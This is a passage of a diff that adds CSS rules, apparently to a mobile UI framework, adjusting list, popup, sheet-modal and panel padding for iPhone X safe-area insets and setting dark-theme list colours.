.list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 15px; + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after { + left: calc(15px + constant(safe-area-inset-left)); + left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after { + left: calc(15px + constant(safe-area-inset-left)); + left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(15px + constant(safe-area-inset-right)); + margin-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 15px; + } + .ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 15px; + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a { + background-position: calc(100% - 15px - constant(safe-area-inset-right)) center; + background-position: calc(100% - 15px - env(safe-area-inset-right)) center; + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner { + padding-right: calc(35px + constant(safe-area-inset-right)); + padding-right: calc(35px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a { + padding-right: calc(35px + constant(safe-area-inset-right)); + padding-right: calc(35px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner { + padding-right: calc(35px + constant(safe-area-inset-right)); + padding-right: calc(35px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron .item-link .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list.no-chevron a, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a.no-chevron, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list .no-chevron a { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.no-chevron .item-link .item-title-row, + .ios.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row, + .ios.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).no-chevron li.media-item .item-link .item-title-row { + padding-right: 0; + } +} +@media (orientation: landscape) and (min-width: 768px) { + .ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(15px + constant(safe-area-inset-left)); + margin-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-left-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .ios.device-iphone-x .panel-left .list.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 15px; + } +} +@media (orientation: landscape) and (min-width: 768px) { + .ios.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(15px + constant(safe-area-inset-right)); + margin-right: calc(15px + env(safe-area-inset-right)); + } +} +.ios .theme-dark .list ul, +.list.ios .theme-dark ul { + background: #1c1c1d; +} +.ios .theme-dark .list ul:before, +.list.ios .theme-dark ul:before { + background-color: #282829; +} +.ios .theme-dark .list ul:after, +.list.ios .theme-dark ul:after { + background-color: #282829; +} +.ios .theme-dark .list li li:last-child .item-inner:after, +.list.ios .theme-dark li li:last-child .item-inner:after, +.ios .theme-dark .list li:last-child li .item-inner:after, +.list.ios .theme-dark li:last-child li .item-inner:after { + background-color: #282829; +} +.ios .theme-dark .item-divider:before { + background-color: #282829; +} 